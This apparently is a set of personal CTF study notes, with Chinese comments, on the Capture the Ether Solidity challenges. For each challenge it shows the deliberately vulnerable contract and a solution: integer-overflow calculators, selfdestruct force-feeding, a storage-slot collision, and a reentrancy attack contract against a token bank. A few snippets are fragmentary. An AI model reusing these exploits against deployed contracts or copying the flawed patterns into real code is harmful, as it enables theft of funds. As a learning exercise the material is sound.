capture刷题

Math

Token sale

pragma solidity ^0.4.21;

contract TokenSaleChallenge {
    mapping(address => uint256) public balanceOf;
    uint256 constant PRICE_PER_TOKEN = 1 ether;

    function TokenSaleChallenge(address _player) public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance < 1 ether;
    }

    function buy(uint256 numTokens) public payable {
        require(msg.value == numTokens * PRICE_PER_TOKEN);

        balanceOf[msg.sender] += numTokens;
    }

    function sell(uint256 numTokens) public {
        require(balanceOf[msg.sender] >= numTokens);

        balanceOf[msg.sender] -= numTokens;
        msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
    }
}
//答案
contract attack{
    uint max=2**256-1;
    uint public num1;
    uint public num2;
    function Attack()external returns(uint result){
        num1=max/1 ether;
        num2=(num1+1)*1 ether;
    }
}

Token whale

pragma solidity ^0.4.21;

contract TokenWhaleChallenge {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleChallenge(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }
}

这里是重点，减少的是msg.sender（就是调用者），所以会导致溢出，用第三个账户就会溢出

function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

Retirement fund

pragma solidity ^0.4.21;

contract RetirementFundChallenge {
    uint256 startBalance;
    address owner = msg.sender;
    address beneficiary;
    uint256 expiration = now + 10 years;

    function RetirementFundChallenge(address player) public payable {
        require(msg.value == 1 ether);

        beneficiary = player;
        startBalance = msg.value;
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function withdraw() public {
        require(msg.sender == owner);

        if (now < expiration) {
            // early withdrawal incurs a 10% penalty
            msg.sender.transfer(address(this).balance * 9 / 10);
        } else {
            msg.sender.transfer(address(this).balance);
        }
    }

    function collectPenalty() public {
        require(msg.sender == beneficiary);

        uint256 withdrawn = startBalance - address(this).balance;

        // an early withdrawal occurred
        require(withdrawn > 0);

        // penalty is what's left
        msg.sender.transfer(address(this).balance);
    }
}
contract Attack{
        function Attack() public payable {
        require(msg.value == 1 ether);
    }
    function attack(address addr)public{
        selfdestruct(addr);

    }

}

Mapping

pragma solidity ^0.4.21;

contract MappingChallenge {
    bool public isComplete;
    uint256[] map;

    function set(uint256 key, uint256 value) public {
        // Expand dynamic array as needed
        if (map.length <= key) {
            map.length = key + 1;
        }

        map[key] = value;
    }

    function get(uint256 key) public view returns (uint256) {
        return map[key];
    }
}
//只需使数组长度溢出就可以了
contract A{
    bytes32 public a;
    bytes32 public b;
    bytes32 public c;
    uint public n;
    uint public g=100 ether;
    uint public f=2**256-1;
    //keccak256(bytes32(1))!=keccak256(abi.encodePacked(bytes32(1)))
    function Mapping(address _salt,uint num)external returns(bytes32){//_salt=1
        a=keccak256(abi.encodePacked(bytes32(uint(uint160(_salt))),bytes32(num)));
        return a;
    }
    function UInt(uint num)external returns(bytes32 ){
        b=keccak256(abi.encodePacked(bytes32(num)));
        return b;
    }
     function ToBytes(uint _a)external returns(bytes32){
         c=bytes32(_a);
         return c;
    }
    function find()external returns(uint){
        n=2**256-1-uint(b)+1;
        return n;
    }
}

Donation

pragma solidity ^0.4.21;

contract DonationChallenge {
    struct Donation {
        uint256 timestamp;
        uint256 etherAmount;
    }
    Donation[] public donations;

    address public owner;

    function DonationChallenge() public payable {
        require(msg.value == 1 ether);
        
        owner = msg.sender;
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function donate(uint256 etherAmount) public payable {
        // amount is in ether, but msg.value is in wei
        uint256 scale = 10**18 * 1 ether;
        require(msg.value == etherAmount / scale);

        Donation donation;
        donation.timestamp = now;
        donation.etherAmount = etherAmount;

        donations.push(donation);
    }

    function withdraw() public {
        require(msg.sender == owner);
        
        msg.sender.transfer(address(this).balance);
    }
}
//如果在函数内用storage初始化，那么默认指针是指向slot0的，因此造成漏洞
contract attack{
    uint public a;
    uint256 scale = 10**18 * 1 ether;
    function Attack(uint etherAmount)external{
        a=etherAmount/scale;
    }
}

Fifty years

pragma solidity ^0.4.21;

contract FiftyYearsChallenge {
    struct Contribution {
        uint256 amount;
        uint256 unlockTimestamp;
    }
    Contribution[] public queue;
    uint256 public head;

    address owner;
    function FiftyYearsChallenge(address player) public payable {
        require(msg.value == 1 ether);

        owner = player;
        queue.push(Contribution(msg.value, now + 50 years));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function upsert(uint256 index, uint256 timestamp) public payable {
        require(msg.sender == owner);

        if (index >= head && index < queue.length) {
            // Update existing contribution amount without updating timestamp.
            Contribution storage contribution = queue[index];
            contribution.amount += msg.value;
        } else {
            // Append a new contribution. Require that each contribution unlock
            // at least 1 day after the previous one.

            //关键地点，让timestamp溢出为0就可以完成，
            require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

            contribution.amount = msg.value;
            contribution.unlockTimestamp = timestamp;
            queue.push(contribution);
        }
    }

    function withdraw(uint256 index) public {
        require(msg.sender == owner);
        require(now >= queue[index].unlockTimestamp);

        // Withdraw this and any earlier contributions.
        uint256 total = 0;
        for (uint256 i = head; i <= index; i++) {
            total += queue[i].amount;

            // Reclaim storage.
            delete queue[i];
        }

        // Move the head of the queue forward so we don't have to loop over
        // already-withdrawn contributions.
        head = index + 1;

        msg.sender.transfer(total);
    }
}
contract attack{
    uint public a=1 days;
    uint public b=2**256-1;
    uint public c;
    constructor()public payable{}
    function t()public{
        c=b-a+1;
    }
    function over(address addr)external{
        selfdestruct(addr);
    }
    //主要考察溢出

Token bank

pragma solidity ^0.4.21;

interface ITokenReceiver {
    function tokenFallback(address from, uint256 value, bytes data) external;
}

contract SimpleERC223Token {
    // Track how many tokens are owned by each address.
    mapping (address => uint256) public balanceOf;

    string public name = "Simple ERC223 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    uint256 public totalSupply = 1000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function SimpleERC223Token() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function isContract(address _addr) private view returns (bool is_contract) {
        uint length;
        assembly {
            //retrieve the size of the code on target address, this needs assembly
            length := extcodesize(_addr)
        }
        return length > 0;
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        bytes memory empty;
        return transfer(to, value, empty);
    }

    function transfer(address to, uint256 value, bytes data) public returns (bool) {
        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        if (isContract(to)) {
            ITokenReceiver(to).tokenFallback(msg.sender, value, data);
        }
        return true;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
        public
        returns (bool success)
    {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
}

contract TokenBankChallenge {
    SimpleERC223Token public token;
    mapping(address => uint256) public balanceOf;

    function TokenBankChallenge(address player) public {
        token = new SimpleERC223Token();

        // Divide up the 1,000,000 tokens, which are all initially assigned to
        // the token contract's creator (this contract).
        balanceOf[msg.sender] = 500000 * 10**18;  // half for me
        balanceOf[player] = 500000 * 10**18;      // half for you
    }

    function isComplete() public view returns (bool) {
        return token.balanceOf(this) == 0;
    }

    function tokenFallback(address from, uint256 value, bytes) public {
        require(msg.sender == address(token));
        require(balanceOf[from] + value >= balanceOf[from]);
        balanceOf[from] += value;
    }

    function withdraw(uint256 amount) public {
        require(balanceOf[msg.sender] >= amount);

        require(token.transfer(msg.sender, amount));//漏洞：先转了钱后修改了变量，重大漏洞
        balanceOf[msg.sender] -= amount;
    }
}
contract Attcak{
    uint public count;
    TokenBankChallenge public token;
    function g(address addr)public{
        token=TokenBankChallenge(addr);
    }
    function tokenFallback(address from,uint256 value,bytes)public{
        if(count==0){
        count++;//要在token.withdraw(value);前面，否则永远无法停止，直到outofgas
        token.withdraw(value);
        
    }}
    function attack(uint value)public{
        token.withdraw(value);
    }
}
//本题就是利用重入漏洞，切记先减钱在转账，否则容易被重入,多注意合约中可以调用外部的函数，如tokenFallback;